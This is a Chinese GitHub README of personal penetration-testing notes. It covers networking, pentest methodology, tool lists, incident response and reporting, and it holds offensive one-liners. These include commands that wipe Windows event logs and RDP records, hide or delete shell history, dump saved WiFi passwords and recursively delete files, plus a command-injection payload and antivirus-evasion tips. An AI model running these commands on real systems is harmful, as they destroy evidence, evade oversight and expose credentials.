Skip to content

enomothem/PenTestNote

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 
 
 
 
 
 
 

Repository files navigation

PenTestNote

一些渗透测试技巧的个人(Enomothem or 伊诺)记录笔记

简洁是智慧的灵魂,冗长是肤浅的藻饰 ——莎士比亚

谨记《中华人民共和国网络安全法》至上!

致敬为国内安全事业贡献的人!致敬开源社区的贡献者!致敬每一个为生活而努力的人!

遵循规则:

  • 格式规范,先框架再细节,思路为主
  • 不提倡没用过时的技术或工具
  • 简洁、舒服、易读、合理、无误
  • 基础的东西只写思路,避免臃肿
  • 技术细节或不必要阅读内容放附页
  • 附页的格式规范整洁同主格式保持一致

备忘录:

速查:

ASCII | 端口号 | HTTP状态码 | FTP状态码 | Windows命令 | Linux命令 | msf命令 | volatility2

在线工具:

时间戳 | MAC厂商 |

安全工具:

CMS | Subdomian | bypassCDN | GoogleHacking | CTFTOOLS

致谢:

IT-Tangsan | Gu0st | SD007 | -

目录

系统层面

基础

  • Photoshop能力
  • Office(Word、Excel、PPT)能力
  • 文件管理能力
  • 效率优化能力

工具

  • 浏览器
    • Google Chrome
    • Mozilla Firefox
    • Microsoft Internet Explorer
  • CPU/内存/磁盘工具
  • 工具
  • 环境
    • python3
    • python2
    • java(JRE/Tomcat server)
    • vmware
    • ensp(depend:Wireshark、wincap4.1.3、VirtualBox-5.0-5.2)
    • phpstudy

记录

代码层面

代码是非常重要也是非常基础的能力,虽然OpenAI时代的到来,极大的简化了程序的复杂工作,但人类的创新能力远远比AI强,也许AI会越来越强,我们仍然可以借助AI更好的学习编程能力,当然,也不是说依赖AI,而是启发式的学习。

编程可以做的事情很多。开发一个程序,写个脚本,工具,写一个web程序,都是可以的。当然,也可以审计别人的代码,发现漏洞。

Web基础

  • 前端:Html(光着身子)+css(衣服)+js(运动) 三件套
  • 后端:php、java、python2&3、js(js也可作为后端语言)、Ruby、go、rust
  • 数据库: mssql, mysql, mysql4, mysql5, oracle, pgsql, sqlite, sqlite3, access, firebird, maxdb, sybase

编程基础

  • c:大学的计科类基础,入门计算机的基石。
  • assembly:汇编语言,信息安全的基础。当然,没几个人学过,也没几个人感兴趣。是出大佬的方向。
  • python:一周入门,两周写脚本工具,三周成为脚本小子。
  • java:热门,应用广
  • C++:难
  • Rust:更难,以安全、高性能、内存小的特性优于其他语言。

网络层面

基础

OSI参考模型及其相关协议RFC

应用层 | Application Layer

  • FTP - File Transfer Protocol 文本传输协议 RFC959
  • SMTP - Simple Mail Transfer Protocol 简单邮件传输协议 RFC821
  • HTTP1.0 - Hypertext Transfer Protocol version 1.0 超文本传输协议1.0 RFC1945
  • HTTP1.1 - Hypertext Transfer Protocol version 1.1 超文本传输协议1.1 RFC2616、2617
  • HTML - Hypertext Markup Language version 2.0 超文本标记语言2.0 RFC1866
  • RIP - Routing Information Protocol 路由信息协议 RFC1058、1923
  • RIP2.0 - Routing Information Protocol version 2.0 路由信息协议2.0 RFC1387 etc
  • DNS - Domain Name System 域名解析系统 RFC881 etc
  • SNMPv3 - Simple Network Management Protocol version 3.0 简单网络管理协议3.0 RFC 2271
  • BGP - BGP-Border Gateway Protocol 边界网关协议 RFC4271 TCP179

传输层 | Transport Layer

  • TCP - Transport Control Protocol 传输控制协议 RFC793
  • UDP - User Datagram Protocol 用户数据报协议 RFC768

网络层 | Netword Layer

  • Static Route and Default Route
  • OSPF - Open Shortest Path First 开放式最短路径优先 RFC1245、1246
  • IP - Internet Protocol 网际协议 RFC791
  • IPv6 - Internet Protocol Version 6 IPv6 RFC2460
  • ICMP - Internet Control Message Protocol Internet控制报文协议 RFC777、792
  • CIDR - Classless Inter-Domain Routing 无分类域间路由选择 RFC1519、1520

数链层 | Data Link Layer

  • Ethernet_II - EthernetII Xerox制定 RFC894
  • IEEE 802.3 - IEEE 802.3 IEEE 802委员会制定 RFC1042
  • IS-IS - Intermediate System to Intermediate System 中间系统到中间系统 RFC3358
  • ARP - Address Resolution Protocol 地址解析协议 RFC826
  • RARP - Reverse Address Resolution Protocol 反向地址转换协议 RFC903
  • CSMA/CD - EthernetII Xerox制定 RFC894

物理层 | Physical Layer

  • 传输媒介

    • 有线:同轴电缆、双绞线、光纤、跳线
    • 无线:卫星、无线、微波、激光、红外
  • 工具

    • 常用工具(剥线刀、网线钳、尼龙(标签)扎带、水晶头、网络测试仪\寻线仪、Console线)
    • 转接类(转接头、面板、各类转接器)
  • 双绞线

\ 1 2 3 4 5 6 7 8
T568A线序 绿白 绿 橙白 蓝白 棕白
T568B线序(常用) 橙白 绿白 蓝白 绿 棕白

注意:协议和应用是不同的,协议是由国际互联网工程任务组维护的,全世界根据协议的标准制定不同的设备以及软件达到互通的目的,就如Xshell只是应用,ssh是协议;Chrome、Firefox是应用,HTTP是协议,注意区分。 值得注意的是:RIP是在应用层的,因为它依赖UDP协议;BGP使用的TCP协议,所以也在应用层;OSPF依赖IP协议,在网络层之上,所以暂且归纳到网络层。很多协议都是跨层协议,具体不属于某一层,所以更需要理解为主,归纳主用于框架学习目的,并不代表实际归属。

协议缺陷及反向利用

  • ICMP:DDos攻击,主机探测
  • ARP:ARP欺骗
  • DHCP:DHCP欺骗、CVE-2019-0726

网络设备

网络设备及部件是连接到网络中的物理实体。

  • 分线器
  • 轻量化智能设备
  • Hub
  • 网桥
  • 交换机
  • 路由器
  • PC/服务器
  • WAP
  • 打印机
  • 调制解调器

网络安全设备

NGAF/NGFW:下一代 Web 应用防火墙(Next Generation Application Firewall,通防火墙和下一代防火墙的区别),聚合了以下功能

  • IDS
    • HIDS:基于主机的入侵检测系统
    • NIDS:基于网络的入侵检测系统
    • HIDS+NIDS:基于混合数据源的入侵检测系统
    • IPS:入侵防御系统
    • AV:反病毒系统
  • EDR:主机安全管理\终端检测和响应

EDR 实时监测终端上发生的各类行为,采集终端运行状态,在后端通过大数据安全分析、机器学习、沙箱分析、行为分析、机器学习等技术,提供深度持续监控、威胁检测、高级威胁分析、调查取证、事件响应处置、追踪溯源等功能,可第一时间检测并发现恶意活动,包括已知和未知威胁,并快速智能地做出响应,全面赋予终端主动、积极的安全防御能力

简单来说就是给内网环境中所有主机安装管理软件终端,可以在管理平台集中管理和数据分析过滤,基本所有安全厂商都有自己的 EDR 产品

  • 运维审计和管理平台(堡垒机)
  • DAS:数据库安全审计平台
  • LAS:日志审计安全平台
  • AC:上网行为管理系统
  • Honeypot:伪装欺骗系统(蜜罐、蜜网)
  • SIP:安全态势感知平台
  • GAP:网闸

这个算是让整套系统性能得到提升的灵魂了,定位为客户的安全大脑,是一个集检测、可视、响应处置于一体的大数据安全分析平台。产品以大数据分析为核心,支持主流的安全设备、网络设备、操作系统等多源数据接入,利用大数据、关联分析、告警降噪等技术,实现海量数据的统一挖掘分析

云网络

云网络包括私有云和公有云以及混合云

  • 云主机安全
  • 云防火墙
  • 云堡垒机
  • 云蜜罐
  • 云 DDOS 防护

IP协议号

内容过于冗长,附:IP协议号

Decimalism Keywords Protocol
0 HOPOPT IPv6 逐跳选项
1 ICMP Internet 控制消息
2 IGMP Internet 组管理
3 GGP 网关对网关
4 IP IP 中的 IP(封装)
5 ST
6 TCP 传输控制
- -
134-254 未分配
255 保留

端口号

内容过于臃肿,列举常见端口,并附端口列表 附:端口号列表

Decimalism Protocol Vulnerability
21 FTP 弱口令
22 SSH 弱口令
23 Telnet 弱口令
25 SMTP 邮件伪造
53 DNS RCE、劫持、投毒
80/443 HTTP/HTTPS RCE
139 SMB 嗅探
445 Windows shares ms17-010、ms08-067
3306 Mysql 弱口令

工具

  • Wireshark - 免费开源的流量包分析工具
  • NetworkMiner - 网络取证分析工具
  • tcpdump - 功能强大的命令行流量包分析工具,自带的libpcap用于网络流量捕获的便携式C/C++库
  • Paros - 基于Java的HTTP/HTTPS代理用于评估Web应用程序漏洞工具
  • pig - Linux下伪造流量包工具
  • ZAP - ZAP是用于发现Web应用程序中漏洞易于使用的集成式渗透测试工具
  • mitmproxy - 基于HTTP具有交互式控制界面并支持SSL中间代理的工具
  • mitmsocks4j - 基于Java支持中间SOCKS代理工具
  • nmap - Nmap安全扫描工具
  • Aircrack-ng - 用于破解802.11 WEP和WPA-PSK密钥工具
  • Charles Proxy - 用于查看截获的HTTP和HTTPS/SSL实时流量的跨平台图形化用户界面Web调试代理工具
  • Nipe - 使Tor网络成为默认网关的脚本

渗透测试

这里只提供思路,具体的学习还需深入,扎根最基础的学习中去,才能明白千篇一律的工具是怎么实现的。

信息收集

  • 真实IP地址、域名、子域名、端口、目录、后台、泄露信息、CMS、WAF
  • Google、Baidu、Yandex、社交平台
  • 钓鱼、社工、客服、蜜罐

漏洞挖掘

  • 浏览网站,看看网站规模,功能,特点等
  • 端口,弱口令,目录等扫描,对响应的端口进行漏洞探测,比如 rsync,心脏出血,mysql,ftp,ssh弱口令等。
  • XSS,SQL注入,上传,命令注入,CSRF,cookie安全检测,敏感信息,通信数据传输,暴力破解。
  • 任意文件上传/下载,越权访问,未授权访问,目录遍历,文件 包含,服务器漏洞检测,最后使用漏扫工具等。
  • 逻辑漏洞类。支付,登入,越权,验证,重放攻击(短信轰炸)等

进阶

内网和域

  • 内网收集。用户、进程、端口、服务、补丁、共享、备忘录、密码、无线信息。
  • 横向渗透。注意开放端口。
  • 无文件攻击。内存马、恶意文档、恶意脚本、平地起飞。
  • 域渗透。收集域内信息,寻找域控,SPN扫描,Kerberos漏洞,抓取哈希,域账号破解,获取黄金票据,AD持久化,Exchange利用等
  • 权限维持及持久化。端口复用,进程注入,后门隐藏,Windows用户隐藏(影子用户),定时任务,注册表自启项,Office,文件关联等。

权限提升

  • Linux:内核漏洞(脏牛、下水管)、计划任务、SUID、错误配置、密码泄露等。
  • Windows:BypassUAC、令牌窃取、内核溢出漏洞等

提权漏洞集

权限维持

  • Linux:硬链接、Cron
  • Windows:后门
  • Web:Webshell

清理脚印

a 3389登陆记录清除

@echo off
@reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
@del "%USERPROFILE%\My Documents\Default.rdp" /a
@exit

b Metasploit

# run clearlogs 
# clearev

c Windows日志的删除 获取日志分类功能

# wevtutil el >1.txt

获取单个日志类别的统计信息,例如:

# wevtutil gli "windows powershell"

查看指定日志的具体内容

# wevtutil qe /f:text "windows powershell"

删除单个日志类别的所有信息

# wevtutil cl "windows powershell"
find $PWD -maxdepth 1 | xargs ls -ld

d 工具

  • Invoke-Phant0m
  • Windwos-EventLog-Bypass

撰写报告

  • 规范。目标、受众、时间、密级、分发。
  • 收集信息。自己渗透成功的利用证明、截图(帮助技术人员复现)、脚本(向技术人员提供细节,可以是自己编写的)、日志记录(最好是数字形式显示,方便展示)
  • 封面。正式一点、项目标题、客户名称、版本、作者信息、日期。
  • 属性。客户信息、测试的公司、测试的人员、有关人员和其他有关参与人员信息
  • 报告索引。列出主要标题的索引,下级标题也列出(下级可以不需要页码),图目录列出图像的页码索引。
  • 行动纲要。这是为高层书写的,简要说明渗透测试过程。包括项目目标、项目范围、授权信息、明确渗透测试者的假定(保护测试者)、时间表、渗透测试摘要。
  • 发现问题的清单。以表格的形式列举便于查询。
  • 发现问题的详细说明。包含修复建议(帮助IT、运维、信息安全人员阅读)、漏洞定义节、脆弱性节、概念验证(给出成功的截图就行了)、可能性(解释漏洞利用的条件)、风险评估、建议。
  • 支持文档。方法学、工具(渗透测试所用工具)、附录(非必须阅读的内容)、参考(无法描述细节或时间不够写)、术语表。
  • 质量保证。给客户保证渗透测试的质量有效,没有错误。值得信赖!

工具

只列举比较于同类产品中较为出色的工具。仅代表个人使用感觉!

资产发现

  • dismap
  • Goby

服务发现

  • Nmap
  • Goby

伊诺端口:80-89,443,8443,9443,389,873,2049,2181,5000-5010,5601,5900,5984,6379,7001,8161,9200,10051,11211,27017,28096,1000,2000,3000,4000,6000,9000,10000-10010,20000,30000,40000,50000,8000-8100,8200,9000-9009,9898,66,666,6666,8888,56666,58888,6888,6868,8686,6668,8886,8866,6688,65535,18080,18081,16001,17001,18001,19001

子域扫描

  • dnsub

目录扫描

  • dissearch
  • dirmap

漏洞扫描

  • AWVS、APPSCAN、Nessus 传统重型武器三大件
  • Vulmap
  • Xray:被动扫描较为出色
  • w13scan
  • fscan
  • EZ
  • afrog

抓包改包

  • Burp Suite

空间测绘

  • kunyu

漏洞利用

  • Metesploit

远控管理

  • 冰蝎
  • 哥斯拉
  • 中国菜刀
  • 蚁剑
  • 大灰狼

内网工具

  • mimikatz
  • metasploit
  • empire

数据库

  • navicat premium: 数据库连接管理工具
  • neo4j:neo4j数据库管理工具
  • sharp sql tools:mssql数据库利用工具
  • sqlite:sqlite数据库管理工具
  • sqlknife:mssql数据库利用工具
  • sqlmap: 注入工具
  • sylas:mssql & orcle & postgresql数据库利用工具
  • toad:oracle数据库管理工具

字典

更多工具

应用测试

包含安卓,客户端应用,移动端应用,APP,小程序等测试。

工具

应急响应

思路

你服务器被攻击啦,快去剪网线。

端口、进程、用户、历史、任务、日志、蜜罐、杀毒、分析、封禁、研判、溯源、反制。剩下的就看你的经验了。

应急

挖矿类

Tip

伊诺点评:一般而言,挖矿由残留的下载程序的计划任务、程序本体与矿池外联、被压榨的计算机资源等特征,需要进行物理隔离进行排查,定位矿机位置拓扑,摸清范围,对未感染的机器进行加固更改密码风险排查等措施。

勒索类

Tip

伊诺点评: 一般而言,如果是市面上无解的,那基本上是没有救的,就算付出高额的成本去破解,还不如付钱来得实在,如果你的乙方,多帮助客户排查一下机器,因为客户把救命稻草压在你这个技术人员手上,多排查一下安慰客户,因为杀不干净的心理阴影,最后都会进行重装系统的,所以排查只是了解被勒索的事实,如果你幸运的话,日志没有删除或许能知道攻击的入口是什么,或许是因为一个弱口令,又或许是web日志中反映的一个nday漏洞,这个都是你技术成果的体现。和挖矿一样,需要定位勒索范围拓扑,避免进一步扩散,进行物理隔离,加固未感染区域的主机。

勒索病毒查询

web攻击

网络协议攻击

近源攻击

网页篡改

溯源

你需要强大的武器和冷静的头脑。

  • 溯源
    • 攻击画像:IP、ID、关键字、电话号码、身份证、QQ、微信号、头像、邮箱、跳板、目的、位置、手法、代理
    • 真实IP:一、NSLOOKUP查看NS记录。二、WHOIS。三、HTTP icon。四、子域名。五、国外ping。
    • ID或姓名:谷歌百度等搜索引擎、微博贴吧人人网、抖音脉脉。如果是ID可以去圈子里问。
    • 手机号邮箱:sgk、谷歌百度、QQ添加、微信添加、支付宝转账验证姓名、社交平台抖音等、reg007.com
    • 恶意文件:逆向工具分析Ida、JEB、winhex,网络进程分析wirehshark,固件分析binwalk、bin2bmp、pixd,在线沙箱
  • 反制
    • 钓鱼、C2反打、开放端口、取证

工具

伊诺之令

本人在渗透测试中收集的命令,以及经过改良的绝妙之令——伊诺之令。以极致的手法,击穿WAF之壁,来无影去无踪,渗而不透,此乃终端之令法。

Windows

列出WIFI配置信息

for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear

内网存活地址检测

for /L %D in (1,1,255) do ping 10.168.1.%D

Linux

"渗不透"

在使用命令前加上反斜杠防止执行改名后的命令进入陷阱,可以忽略掉 alias 的指定选项
在输入命令时,全面加上空格将不记录命令历史,不过在此之前要看一下环境变量。

\export HISTCONTROL=ignorespace # 配置ignorespace环境变量使空格规避记录生效,记得将记录删除
[Space]\command         # 这就是“渗不透”,将两者结合,既不留下脚印,又不会踩雷
[Space]\set +o history  # 暂时关闭命令记录
\command
[Space]\set -o history  # 结束工作,关闭命令记录
[Space]\history
[Space]\history -d num  # 删除某行历史命令 

取证

wget -c -r -np -k -L http://ip/

毁灭吧

rm -fr ./*

显示全局路径

ls | sed "s:^:`pwd`/:"
find $PWD -maxdepth 1 | xargs ls -ld        # 列出文件的绝对路径且显示隐藏文件,并不对目录递归

排除多个字符串

echo -e "banner header body\nbanner\nbanner header\nbanner body" | grep -E -v "header|body" 
banner

去除重复项

sort ssh-pass.txt | uniq -c | sort -rn | cut -c 9-

ls用法

ls -lhS 按文件大小排序,加 -r 相反
ls -ltr 按时间顺序排序,加 -r 相反
ls -l | grep "^d"  # 只显示目录

公网IP信息

curl ipinfo.io/<ip address>

SSRF+命令执行

http://www.`id`.example.com
# 会先执行id命令,在linux中,id\whoami的命令执行优先级更高,如:
ls `whoami`
ls $(whoami)

工具

学习

逆向工程

免杀

免杀思路:使用偏僻的语言,比如Nim。使用Base64进行加密,避免特征码的检测。

学习

工具

  • AV_Evasion_Tool - 掩日 - 免杀执行器生成工具
  • nudge4j - 让浏览器与JVM交互的Java工具
  • IDA - IDA是可以工作在Windows,Linux或Mac OS X的多处理反汇编和调试工具
  • OllyDbg - Windows 32位汇编程序级别调试工具
  • x64dbg - Windows上开源x64/x32调试工具
  • dex2jar - 用于处理用于处理Android .dex和Java .class文件的工具
  • JD-GUI - 显示Java源代码“.class”文件的独立图形实用工具
  • procyon - 现代化开源Java反编译工具
  • androguard - 用于Android应用程序的逆向工程,恶意软件分析工具
  • JAD - JAD Java反编译工具(闭源, 不常更新)
  • dotPeek - JetBrains公司开发的免费的.NET反编译工具
  • ILSpy - 开源的集浏览和反编译.NET程序工具
  • dnSpy - 集编辑,反编译和调试.NET程序工具
  • de4dot - 破解.NET程序工具
  • antinet - 用于反编译和混淆代码的.NET程序工具
  • UPX - 终极封装可执行文件工具
  • radare2 - 便携式的逆向工程框架工具
  • plasma - 适用于x86/ARM/MIPS交互式反汇编,使用花指令语法代码生成伪代码。
  • Hopper - 适用于OS X和Linux反汇编/反编译32/64位Windows/MAC/LINUX/iOS的可执行文件工具
  • ScratchABit - 使用IDAPython兼容插件API轻松重新定位和可攻击的交互式反汇编工具 refer:L

后备能源

一切恐惧的来源并非是无知,是火力的不足。就算你的知识再强大,当你进攻的时候脑子力只有武器的设计图和理论却打不过别人的三板斧时,也是不行滴。

唯有强大的基础工业体系,一体化,武器化,工业化的后备资源,在消耗的时候才能让敌人感到恐惧,而不是自己,做到绝对的压制和维度的打击。不要再做井底之蛙了,该回家了 x.tw => x.tw.cn 。

资源

域名

空间

代理

  • /

武器

重量级武器平台

  • Kali Linux
  • Parrot Linux
  • 悬剑武器库
  • CTF_Tools—System
  • Hacker_Tools-System
  • Taie-RedTeam-OS

轻量级武器大全

弹药

众所周知,CVE 漏洞库中 99% 以上的漏洞只是无现实意义的编号

你是沙鹰还是格洛克?一些实时更新,高价值的漏洞在哪里呢,有没有人做这样的工作,当然是有的。

训练营

夺旗

加解密

参考以下大佬表哥圈子里的家人们优秀的笔记和互联大网资料

[1] https://www.rfc-editor.org/ - RFC相关协议信息
[2] https://github.com/Lucifer1993/awesome-hacking - 参考关键工具向
[3] https://github.com/Ridter/Intranet_Penetration_Tips - 渗透测试详细技巧
[4] https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml - IP协议号
[5] https://en.wikipedia.org/wiki/List_of_TCP_and_UDP_port_numbers - 端口号
[6] https://www.freebuf.com/articles/network/317851.html - 参考这位老哥的物理设备归纳
[7] https://wintrysec.github.io/ - 渗透测试笔记
[8] https://github.com/awake1t/Awesome-hacking-tools - 参考工具

About

学而不思则罔,思而不学则殆💦

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published